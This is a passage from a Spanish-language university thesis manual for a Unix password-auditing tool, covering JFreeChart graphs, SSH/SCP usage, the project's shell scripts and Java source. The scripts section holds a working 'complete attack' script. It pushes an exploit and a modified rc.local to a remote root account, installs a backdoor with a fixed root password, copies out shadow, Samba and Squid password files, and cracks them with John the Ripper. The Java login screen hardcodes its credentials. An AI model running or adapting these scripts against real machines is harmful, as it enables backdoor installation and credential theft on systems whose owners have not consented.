innumerables estilos de gráficos que se pueden implementar, este manual

explica como proceder con algunos de ellos. Si se desea agregar alguno, se

recomienda revisar el código nativo que se encuentra en este proyecto, con

el fin de acoplarlo al mismo.

Gráficas en Java con JFreeChart

Una aplicación sin gráficas es medio difícil de entender, y sobre todo es poco

agradable para el usuario, y normalmente nuestros clientes lo agradecen.

Hay muchas librerías de pago y gratuitas para realizar esta labor. Vamos a

mostraros como crear una gráfica simple con una de las librerías más

extendidas. Hemos elegido en este caso JFreeChart y vamos a mostrar

distintas posibilidades de uso.

Page 166: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

151

Gráfico No. 107 Gráficos con JFreeChart

Descomprimimos los datos en el directorio deseado

Gráfico No. 108 Descompresión de Jfrechart

Page 167: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

152

Podemos ejecutar una demostración y ver las posibilidades

java -jar jfreechart-0.9.10-demo.jar

Gráfico No. 109 Gráfico d barras horizontales

Nosotros vamos a tratar de realizar un ejemplo simple y la única dificultad

que he encontrado es la poca documentación disponible. Aparte de

descargarnos JFreeChart, hay que descargarse otra librería llamada

jcommon. En NetBeans incluimos los dos jars ....

Gráfico No. 110 Librería jcommun

Page 168: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

153

E introducimos el código.

import org.jfree.data.*; import org.jfree.chart.*; import org.jfree.chart.plot.*; import java.awt.image.*; public class ventanaGrafica extends java.awt.Frame { BufferedImage grafica = null; public ventanaGrafica() { initComponents(); } private void initComponents() { addWindowListener(new java.awt.event.WindowAdapter() { public void windowClosing(java.awt.event.WindowEvent evt) { exitForm(evt); } }); pack(); } private void exitForm(java.awt.event.WindowEvent evt) { System.exit(0); } public static void main(String args[]) { ventanaGrafica miventana = new ventanaGrafica(); miventana.setSize(400,400); miventana.show(); } public BufferedImage creaImagen() { XYSeries series = new XYSeries("Evolucion"); series.add(1, 23); series.add(2, 34); series.add(3, 51); series.add(4, 67); series.add(5, 89); series.add(6, 121); series.add(7, 137); XYDataset juegoDatos= new XYSeriesCollection(series); JFreeChart chart = ChartFactory.createLineXYChart ("Sesiones en Adictos al Trabajo", "Meses","Sesiones",juegoDatos,PlotOrientation.VERTICAL, false, false, true // Show legend ); BufferedImage image = chart.createBufferedImage(300,300); return image; } public void paint(java.awt.Graphics g) { if(grafica == null) { grafica = this.creaImagen(); } g.drawImage(grafica,30,30,null); } }

Gráfico No. 111 Código Ventana Grafica

Page 169: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

154

El resultado de nuestro ejemplo es:

Gráfico No.112 Estadistica de seguridad por Ip

Tips y trucos para aprovechar mejor el proyecto

A continuación un apartado en el cual se detallarán pequeños trucos con los

cuales podemos aprovechar la funcionalidad del proyecto, el primero de

estos es sobre la autenticación remota ssh y nuestra autenticación sin

password.

SSH

SSH significa Secure SHell, y es la vía por la cual te conectas remotamente a

un tarro con Linux para acceder a un terminal de comandos (shell), uno igual

al que usas en tu PC pero remotamente. La información viaja encriptada por

lo que además de ser útil es seguro, y claro, mucho más rápido que FTP.

Para conectarse remotamente por SSH, la sintaxis es:

Page 170: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

155

$ ssh [email protected]

O bien:

$ ssh [email protected]

$ ssh servidor.com

Gráfico No. 113 Codigo Ssh

Una vez que estés conectado, puedes ejecutar comandos al igual que si

abrieras un terminal en el mismo computador. Prueba con algo simple como

‘uname -a‘ o lo que quieras. Después, para cerrar la conexión basta con un

simple ‘exit‘ y listo.

También puedes ejecutar un comando único vía SSH, sin necesariamente

logearte al sistema:

$ ssh servidor.com aplicación

O sea:

$ ssh bootlog.cl uname -a

Grafico No. 114 Comando SSH

Y por último, puedes ejecutar una aplicación X en el sistema remoto pero

utilizando el display local. Sólo tienes que agregar -X después de SSH:

$ ssh -X servidor.com aplicación

Page 171: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

156

SCP

SCP significa Secure Copy es algo adicional del SSH, que permite transferir

archivos o carpetas entre computadores. La sintaxis es bien simple:

$ scp archivo [email protected]:ruta

Y para copiar a la inversa, desde el computador remoto al tuyo, simplemente

tienes que invertir el orden de los elementos:

$ scp [email protected]:ruta/archivo ruta_local

$ scp hola.txt [email protected]:/www/sitio

Gráfico No. 115 Comands SCP

Mandaría el archivo hola.txt y lo dejaría en la carpeta /www/sitio en el

servidor bootlog.cl. También puedes mandar carpetas completas (con -r):

$ scp -r viajealsur/ [email protected]:/www/sitio/fotos

Ahora, el mismo proceso a la inversa sería:

$ scp -r [email protected]:/www/sitio/fotos/viajealsur ~

Esto copiaría la carpeta viajealsur/ del servidor a mi carpeta /home.

Como en SCP (y en SSH) la ruta por defecto es tu carpeta de usuario, si

quieres copiar algo hacia o desde ahí, puedes omitir la ruta:

Page 172: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

157

$ scp cancion.mp3 bootlog.cl:

En este caso la sintaxis está bien, ya que mi usuario se llama ‘tomas’ en

ambos lados, así que no tengo que escribirlo de nuevo, y como estoy

copiando el archivo cancion.mp3 a mi carpeta de usuario, también puedo

omitir la ruta.

Con este truco puedes decirle al PC remoto que tal usuario está autorizado

para conectarse sin contraseña desde tal computador, algo que hacemos a

través de las llaves RSA.

Procedimiento

$ ssh-keygen -t rsa

Este comando genera dos archivos, id_rsa.pub e id_rsd. Necesitamos

copiar el contenido del primero al otro computador, específicamente al

archivo authorized_keys dentro de ~/.ssh/ Primero copiémoslo por SCP.

$ scp id_rsa.pub usuario@servidor:

Ahora conéctate por SSH y ve si existe el archivo authorized_keys dentro

de ~/.ssh/. Si ese no es el caso, escribe:

$ mv id_rsa.pub .ssh/authorized_keys

Page 173: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

158

Si el archivo existía (que significa que para ese usuario en ése PC, hay otras

maquinas de confianza). Vamos a copiar los contenidos de id_rsa.pub a

authorized_keys:

$ cat id_rsa.pub >> .ssh/authorized_keys

Comprobar ejecutando un comando remotamente a través de SSH (en este

caso, uname -a). Obviamente no nos debería pedir la clave.

$ ssh servidor.com uname -a

“Es peligroso dejar sitios “de confianza” especialmente en PC críticas

de una empresa, ya que alguien descubre la IP que tiene acceso, la

modifica en una maquina cliente, y ya tiene acceso al sistema.”

Manipulación de los scripts del proyecto.

Un script básicamente es como en Windows un archivo tipo autoexec.bat, es

decir, un archivo con un conjunto de instrucciones, las cuales se ejecutarán

al abrir el archivo en mención.

El proyecto para su operación, consta con algunos scripts, los cuales

detallamos a continuación, ellos residen en la carpeta /utilitarios del proyecto:

Page 174: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

159

#!/bin/sh ##función que me permite la extracción de los passwords de los archivos capturados echo " Procediendo con la ejecución del descifrado de los archivos de passwd capturados" cd /root/hacking_etico/utilitarios/john-1.7.2/run cp /root/hacking_etico/utilitarios/john-1.7.2/run/john.pot /root/hacking_etico/utilitarios/john-1.7.2/run/respaldos-archivos-passwords/john.pot.$1 rm -f analizar rm -f john.pot rm -f john.rec umask 077 echo "Preparando el archivo de passwd..." ./unshadow /root/hacking_etico/utilitarios/john-1.7.2/run/mypasswd /root/hacking_etico/utilitarios/john-1.7.2/run/myshadow > analizar echo "Se realizo la copia para el analisis de los passwd del sistema" echo " Ejecucion del descifrado..ctrl+c para detener.." ./john analizar ./john mysmbpasswd ./john mysquidpasswd echo " Analisis terminado.." echo " Estos son los paswd descifrados del archivo hackeado" ./john --show analizar ./john --show mysmbpasswd ./john --show mysquidpasswd echo " sacando copias de respaldo " cp /root/hacking_etico/utilitarios/john-1.7.2/run/mypasswd /root/hacking_etico/utilitarios/john-1.7.2/run/respaldos-archivos-passwords/mypasswd$1 cp /root/hacking_etico/utilitarios/john-1.7.2/run/myshadow /root/hacking_etico/utilitarios/john-1.7.2/run/respaldos-archivos-passwords/myshadow$1 cp /root/hacking_etico/utilitarios/john-1.7.2/run/myshadow /root/hacking_etico/utilitarios/john-1.7.2/run/respaldos-archivos-passwords/mysmbpasswd$1 cp /root/hacking_etico/utilitarios/john-1.7.2/run/myshadow /root/hacking_etico/utilitarios/john-1.7.2/run/respaldos-archivos-passwords/mysquidpasswd$1 rm -f myshadow rm -f mypasswd echo " finalizado..el log se lo puede consultar de /root/hacking_etico/utilitarios/john-1.7.2/run/john.pot"

Gráfico No. 116 Script de Extracción

#!/bin/sh ##scrpit para generar un archivo de licencias de autorización echo "generación de los archivos de claves publicas de autenticación ssh" echo " Borrado de los archivos antiguos " rm -f /root/.ssh/id_rsa* echo " Elaboración de los archivos de las llaves de autorización locales " ssh-keygen -t rsa -f /root/.ssh/id_rsa -N "" -q cp /root/.ssh/id_rsa /root/hacking_etico/utilitarios/id_rsa cp /root/.ssh/id_rsa.pub /root/hacking_etico/utilitarios/id_rsa.pub echo " Realizado..Generados los archivos id_rsa.pub e id_rsd" echo " Se crearon unas copias de seguridad en la carpeta utilitarios del proyecto"

Gráfico No. 117 Script de autorización

Page 175: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

160

#!/bin/sh ## funcion para el chequeo del estado de la red echo " Procediendo al analisis de la conexion de red" echo " Analizando estado de servicio" service network status echo " Chequeo de conexion remota con IP " ping -w 1 -l 8 $1 echo " Chequeo rapido de puertos abiertos" nmap $1 echo " Chequeo realizado..verifique los resultados para ver si la IP o el puerto sigue activo"

Gráfico No. 118 Script Chequeo estado de red

#!/bin/sh # script de ataque completo...solo para fines educativos. echo " Iniciando....copiando exploit remoto y modificando archivos.." scp -o StrictHostKeyChecking=no /root/hacking_etico/utilitarios/rc.local root@$1:/etc/rc.d/rc.local echo " El archivo rc.local fue modificado.." echo " Copiando y ejecutando el xploit.." scp -o StrictHostKeyChecking=no /root/hacking_etico/utilitarios/fk.tgz root@$1:/var/tmp/fk.tgz echo " Copiado el xploit..ejecutando.." ssh root@$1 -C "tar -zxf /var/tmp/fk.tgz -C /var/tmp/" ssh root@$1 -C "/bin/sh /var/tmp/fk-0.4/instalar" echo " Implementado con exito el backdoor remoto.." echo " user:root --> passwd:rootme.." echo " Consulte con el manual de ayuda como obtener conexion remota ssh" echo "" echo "Extraccion de los archivos de los passwd de la maquina remota" echo "Procediendo a la extraccion de los archivos principales del sistema.." scp -o StrictHostKeyChecking=no root@$1:/etc/passwd /root/hacking_etico/utilitarios/john-1.7.2/run/mypasswd echo "Archivo /etc/passwd extraido de la maquina remota" scp -o StrictHostKeyChecking=no root@$1:/etc/shadow /root/hacking_etico/utilitarios/john-1.7.2/run/myshadow echo "Archivo /etc/shadow extraido de la maquina remota " echo "Extraccion de los archivos de passwords de samba...( si los hubiere )" scp -o StrictHostKeyChecking=no root@$1:/etc/samba/smbpasswd /root/hacking_etico/utilitarios/john-1.7.2/run/mysmbpasswd echo " Archivo /etc/samba/smbpasswd extraido de la maquina remota " echo " Extraccion de los passwords de SQUID ( si los hubiere )" scp -o StrictHostKeyChecking=no root@$1:/etc/squid/claves /root/hacking_etico/utilitarios/john-1.7.2/run/mysquidpasswd echo " Archivo de passwords squid extraido de la maquina remota " echo " finalizado con exito.."

Gráfico No. 119 Script Ataque completo

#!/bin/sh ## FUNCION PARA SABER LA IP CONFIGURADA ## EN MI MAQUINA--> UTILIZADA PARA EL ESCANEO AUTOMATICO DE IP netwox 1 --ip

Gráfico No. 120 Script Conocer IP

Page 176: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

161

!/bin/sh ##Esta parte es el truco del descifrado y análisis de los passwords ##Para efectos de presentación de proyecto se han colocado passwords de ##mediana complejidad a fin de que el sistema no demore mucho en descifrar ##Con passwords más complejos se demoraría nada más y nada menos que 2x10e14 años..!!! echo "Los passwords que se pudieron descifrar fueron-->" cd /root/hacking_etico/utilitarios/john-1.7.2/run ./john --show analizar ./john --show mysmbpasswd ./john --show mysquidpasswd echo "" echo "Y sus códigos hash originales son---->" echo "" cat john.pot echo "" echo "Aviso: los passwords pueden aparecer no completos..analice el código hash con las herramientas adicionales de cracker" echo "" echo "El archivo con las claves encriptadas se encuentra en--->" echo "/root/hacking_etico/utilitarios/john-1.7.2/run/respaldos-archivos-passwords archivo john.pot"

Gráfico No. 121 Script Descifrado y análisis de password

!/bin/sh ## en esta parte muestro los passwords que capture del servicio squid cd /root/hacking_etico/utilitarios/john-1.7.2/run ./john --show mysquidpasswd Un script muy importante a considerar es el llamado: EXTRACT_PASSWD_SHADOW

Gráfico No. 122 Script Muesta Password

El cual es el encargado de extraer los archivos de passwords de la maquina

remota, pero además como una especie de simulación de ataque de virus, se

envía un exploit desarrollado con el fin de habilitarnos una shell tipo ssh en

un puerto determinado, con un user y un passwd que yo determino. El exploit

es totalmente inofensivo, solo activa un puerto para poder hacer una

extracción posterior de los archivos de passwd, sin necesidad de volver a

hacer el engorroso y demorado paso de la autenticación remota.

Page 177: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

162

Sin embargo, el exploit se lo podría modificar y añadir las líneas en el script

respectivo, con otros fines que no son los especificados en el proyecto.

En sus inicios el proyecto nació con la idea de hacer auditoria de passwords,

determinando su nivel de complejidad, pero puede ser explotado para poder

medir, por ejemplo que tan resistente es la maquina remota a ataques de

virus, como el que se menciono arriba.

Se podrían añadir algunas herramientas de ataque, como tipos de virus u

otras cosas, y fácilmente modificar los scripts ya que su programación no es

compleja, y mandarlos a la maquina que está siendo auditada, con el fin de

probar su seguridad, y sus vulnerabilidades.

Este tipo de procedimientos de prueba solo podrán ser realizados por el

administrador del sistema, cuidando siempre de lo que se está realizando, ya

que se encontró exploit que pueden llegar hasta a deshabilitar por completo

el sistema operativo de la maquina atacada, por tanto, el uso y modificación

de estos scripts debe ser siempre monitoreado por la persona responsable

de ejecutar el programa, y si se desea probar las seguridades de las

maquinas a auditar, se deberá controlar el tipo de ataque a enviar, ya que

después de hacer todos estos procedimientos, la maquina debe quedar en

un estado normal, como antes de que se le realice el ataque.

Page 178: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

163

Hay que cuidar entonces de revisar los scripts originales, tal cual como se los

entrego en el proyecto, con el fin de determinar si en algún momento, no ha

sido modificado, con el fin de introducir algún tipo de virus o backdoor más

especializado, y causar un gran daño.

También se puede aprovechar el proyecto en lo siguiente:

El script que me genera el descifrado de los passwords es:

analiza-passwd

El cual, podría ser transportado a otra máquina, conjunto con la carpeta john-

1.7.2, ejecutar el script y empezar a descifrar passwords indiscriminadamente

y sin ningún control, mucho cuidado con los scripts del proyecto y en que

manos puedan caer, no vayamos a tener después algún inconveniente.

Si por alguna razón el programa demora “una eternidad” en el descifrado de

los passwords, esto se da por lo general en maquinas con los requerimientos

mínimosç de operación (equipos con pocas prestaciones), o con passwords

extremadamente difíciles, el script puede ser ejecutado en la maquina en su

ruta original y con los archivos ya extraídos, y por medio de una consola

Terminal se ejecutará el script que descifra los passwords, y esta ventana se

la puede ejecutar en segundo plano o en otra área de trabajo. Incluso se

puede parar y volver a iniciar el descifrado presionando control+c para

Page 179: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

164

detener y luego invocando de nuevo el comando de ejecución. Para más

detalles remítase al manual de John_the_ripper de la carpeta del proyecto.

Este mismo procedimiento se lo puede realizar con el programa del proyecto,

pero este consumirá muchos recursos, por lo general se recomienda que la

maquina no este ejecutando otra cosa que no sea este análisis.

De cualquier forma, los passwords descifrados se almacenan en un archivo,

el cual después será analizado por el programa en la etapa de análisis.

Si se para el análisis, se lo puede reiniciar en cualquier momento, si se lo

ejecuta desde una ventana Terminal como se explico arriba, sino

necesariamente deberá esperar a que el programa termine el descifrado de

los passwords.

El resto del código de los scripts es código que sirve para poner a punto el

sistema y el programa que se está ejecutando, y es código totalmente

inofensivo.

Page 180: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

CAPITULO VI

Código fuente principal.

A continuación se detalla finalmente, el código mínimo necesario para que el

proyecto funcione. Se omiten las clases de diseño que NetBeans agrega de

forma automática cuando se diseñan las pantallas, se provee del código

funcional del proyecto.

Clave del Proyecto

public class claveproyecto extends javax.swing.JFrame { public claveproyecto() { initComponents(); } // <editor-fold defaultstate="collapsed" desc=" Generated Code "> private void initComponents() { jLabel1 = new javax.swing.JLabel(); jLabel2 = new javax.swing.JLabel(); jLabel3 = new javax.swing.JLabel(); jLabel4 = new javax.swing.JLabel(); verificar = new javax.swing.JButton(); limpiar = new javax.swing.JButton(); salir = new javax.swing.JButton(); jLabel5 = new javax.swing.JLabel(); password_nombre = new javax.swing.JTextField(); password_clave = new javax.swing.JPasswordField(); jMenuBar1 = new javax.swing.JMenuBar(); jMenu1 = new javax.swing.JMenu(); jMenuItem1 = new javax.swing.JMenuItem(); jMenu2 = new javax.swing.JMenu(); jMenuItem3 = new javax.swing.JMenuItem(); setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); setTitle("Cracker de Passwords Unix 2007"); setBackground(new java.awt.Color(204, 204, 255)); setFont(new java.awt.Font("Arial", 1, 12)); jLabel1.setFont(new java.awt.Font("Arial", 1, 16));

Page 181: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

166

jLabel1.setForeground(new java.awt.Color(0, 0, 204)); jLabel1.setText("Bienvenido al Sistema de Auditoria de Password"); jLabel2.setFont(new java.awt.Font("Arial", 0, 18)); jLabel2.setForeground(new java.awt.Color(0, 0, 204)); jLabel2.setText("Ventana de Autenticaci\u00f3n del Sistema"); jLabel3.setFont(new java.awt.Font("Arial", 1, 12)); jLabel3.setText("Ingrese Nombre de Usuario:"); jLabel4.setFont(new java.awt.Font("Arial", 1, 12)); jLabel4.setText("Ingrese clave de acceso:"); verificar.setFont(new java.awt.Font("Arial", 0, 11)); verificar.setForeground(new java.awt.Color(0, 102, 102)); verificar.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/ver.gif")); verificar.setText("Verificar"); verificar.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { verificarActionPerformed(evt); } }); limpiar.setFont(new java.awt.Font("Arial", 0, 11)); limpiar.setForeground(new java.awt.Color(0, 102, 102)); limpiar.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/remove.gif")); limpiar.setText("Limpiar"); limpiar.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { limpiarActionPerformed(evt); } }); salir.setFont(new java.awt.Font("Arial", 0, 11)); salir.setForeground(new java.awt.Color(0, 102, 102)); salir.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/salir.GIF")); salir.setText("Salir"); salir.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { salirActionPerformed(evt); } }); jLabel5.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/dibujo.gif")); jMenu1.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/open.gif")); jMenu1.setText("Opciones"); jMenu1.setToolTipText("Scan passwd 2007"); jMenu1.setFont(new java.awt.Font("Arial", 0, 10)); jMenuItem1.setFont(new java.awt.Font("Arial", 1, 12)); jMenuItem1.setIcon(new

Page 182: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

167

javax.swing.ImageIcon("/root/hacking_etico/imagenes/salir.GIF")); jMenuItem1.setText("Salir"); jMenuItem1.setToolTipText("Salir del sistema"); jMenuItem1.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { jMenuItem1ActionPerformed(evt); } }); jMenu1.add(jMenuItem1); jMenuBar1.add(jMenu1); jMenu2.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); jMenu2.setText("Acerca de ..."); jMenu2.setToolTipText("Creditos"); jMenu2.setFont(new java.awt.Font("Arial", 0, 10)); jMenuItem3.setFont(new java.awt.Font("Arial", 1, 12)); jMenuItem3.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/password.gif")); jMenuItem3.setText("Creditos del programa"); jMenuItem3.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { jMenuItem3ActionPerformed(evt); } }); jMenu2.add(jMenuItem3); jMenuBar1.add(jMenu2); setJMenuBar(jMenuBar1); org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(34, 34, 34) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jLabel3) .add(jLabel4) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .add(verificar, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 109, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(14, 14, 14))) .add(22, 22, 22)

Page 183: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

168

.add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING, false) .add(password_clave) .add(layout.createSequentialGroup() .add(limpiar, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 112, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(38, 38, 38) .add(salir, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 95, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(password_nombre))) .add(layout.createSequentialGroup() .add(49, 49, 49) .add(jLabel1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 413, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(layout.createSequentialGroup() .add(78, 78, 78) .add(jLabel2, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 346, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(layout.createSequentialGroup() .add(100, 100, 100) .add(jLabel5))) .addContainerGap(35, Short.MAX_VALUE)) ); layout.setVerticalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(27, 27, 27) .add(jLabel1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 29, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel2) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel5) .add(34, 34, 34) add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(jLabel3) .add(password_nombre, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(15, 15, 15) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(jLabel4) .add(password_clave, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(15, 15, 15)

Page 184: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

169

.add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(limpiar, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(salir, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(verificar, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .addContainerGap()) ); pack(); }// </editor-fold> private void jMenuItem3ActionPerformed(java.awt.event.ActionEvent evt) { creditos sss = new creditos(); sss.show(); } private void jMenuItem1ActionPerformed(java.awt.event.ActionEvent evt) { salir ss = new salir(); ss.setVisible(true); } private void salirActionPerformed(java.awt.event.ActionEvent evt) { salir ss = new salir(); ss.setVisible(true); } private void limpiarActionPerformed(java.awt.event.ActionEvent evt) { password_nombre.setText(""); password_clave.setText(""); } private void verificarActionPerformed(java.awt.event.ActionEvent evt) { if(contador_intentos<=1) { if(password_nombre.getText().equals("hacker") && password_clave.getText().equals("cisc@seminario")) { Msg a=new Msg("BIENVENIDO","imagenes/escudo_u.JPG","LA AUTENTICACION FUE REALIZADA CON EXITO","GRACIAS POR USAR","NUESTRO PROGRAMA"); hide(); dispose(); pantalla_principal pant = new pantalla_principal(); pant.show(); }else{ Msg a=new Msg("AVISO","imagenes/escudo_u.JPG","LA AUTENTICACION FALLO","EL NOMBRE DE USUARIO O LA CLAVE SON INCORRECTOS","INTENTELO DE NUEVO...GRACIAS"); contador_intentos ++; password_nombre.setText(""); password_clave.setText(""); System.out.println("Fallaste en tu número de intentos lo siento se te

Page 185: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

170

denego el acceso.."); } }else{ this.setVisible(false); System.exit(0); Msg a=new Msg("AVISO","imagenes/escudo_u.JPG","TE PASASTES DEL NÚMERO DE INETNTOS","SE HA DENEGADO EL USO DEL PROGRAMA","LO SIENTO HACKER"); } } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new claveproyecto().setVisible(true); } }); } private int contador_intentos=0; // Variables declaration - do not modify private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; private javax.swing.JLabel jLabel4; private javax.swing.JLabel jLabel5; private javax.swing.JMenu jMenu1; private javax.swing.JMenu jMenu2; private javax.swing.JMenuBar jMenuBar1; private javax.swing.JMenuItem jMenuItem1; private javax.swing.JMenuItem jMenuItem3; private javax.swing.JButton limpiar; private javax.swing.JPasswordField password_clave; private javax.swing.JTextField password_nombre; private javax.swing.JButton salir; private javax.swing.JButton verificar; // End of variables declaration }

Créditos.java

public class creditos extends javax.swing.JFrame { public creditos() { initComponents(); } private void initComponents() { jLabel1 = new javax.swing.JLabel(); jLabel2 = new javax.swing.JLabel();

Page 186: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

171

